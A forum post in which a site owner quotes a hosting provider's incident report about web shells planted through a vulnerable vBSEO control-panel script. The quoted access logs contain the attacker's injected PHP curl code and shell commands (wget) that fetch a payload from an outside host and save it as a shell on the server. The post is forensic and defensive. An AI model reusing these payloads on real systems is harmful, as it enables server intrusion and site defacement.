I have reported this issue to my host, here is what they replied back with-please let me know if this makes any sense or if i am on the right track.
Hello,
We have found additional web shells running on your account. We noticed these were used to add malicious content to your account.
For security purposes, the cPanel password for ********* has been reset to ***********
We have taken action to remove these scripts.
/*****/*****/*****/vbseo_sitemap/vbseo_logs.php
/*****/*****/******/network.php
The older of these shells has a time stamp that coordinates with log files showing upload through another script which was removed from the account.
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File: /****/*****/*****/network.php
Modify: Sun, 21 Mar 2010 17:11:43 -0500 (1269209503)
Change: Mon, 02 Apr 2012 01:50:11 -0500 (1333349411)
/******/*****/logs/*******.com-Apr-2012.gz: 67.18.77.116 - - [02/Apr/2012:01:50:11 -0500] "POST /cron______.php HTTP/1.1" 200 6731 "
http://www.********.com/cron______.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.30729; .NET4.0C)"
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I traced the log files back through the server using this IP to see that the vbseocp.php script was the source of the compromise.
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67.18.77.116 - - [02/Apr/2012:01:43:10 -0500] "POST /vbseocp.php HTTP/1.1" 200 134173 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.30729; .NET4.0C)"
67.18.77.116 - - [02/Apr/2012:01:46:47 -0500] "POST /vbseocp.php?p=$ch%20=%20curl_init($_REQUEST[rShell]);$fp%20=%20fopen($_REQUEST[lShell],%20$_REQUEST[mode]);curl_setopt($ch,%20CURLOPT_FILE,%20$fp);curl_set opt($ch,%20CURLOPT_HEADER,%
200);curl_exec($ch);curl_close($ch);fclose($fp);&m ode=w&rShell=http://dl.com.my/s.txt&lShell=cron___.php HTTP/1.1" 403 933 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.3
0729; .NET4.0C)"
67.18.77.116 - - [02/Apr/2012:01:46:56 -0500] "POST /vbseocp.php?p=$ch%20=%20curl_init($_REQUEST[rShell]);$fp%20=%20fopen($_REQUEST[lShell],%20$_REQUEST[mode]);curl_setopt($ch,%20CURLOPT_FILE,%20$fp);curl_set opt($ch,%20CURLOPT_HEADER,%
200);curl_exec($ch);curl_close($ch);fclose($fp);&m ode=w&rShell=http://dl.com.my/s.txt&lShell=cron___.php HTTP/1.1" 403 933 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.3
0729; .NET4.0C)"
67.18.77.116 - - [02/Apr/2012:01:47:38 -0500] "POST /vbseocp.php?d=id HTTP/1.1" 200 1313 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.30729; .NET4.0C)"
67.18.77.116 - - [02/Apr/2012:01:47:51 -0500] "POST /vbseocp.php?d=ls%20-al HTTP/1.1" 200 31387 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.30729; .NET4.0C)"
67.18.77.116 - - [02/Apr/2012:01:48:39 -0500] "POST /vbseocp.php?d=wget%20dl.com.my/s.txt%20-O%20cron______.php HTTP/1.1" 200 913 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CL
R 3.5.30729; .NET4.0C)"
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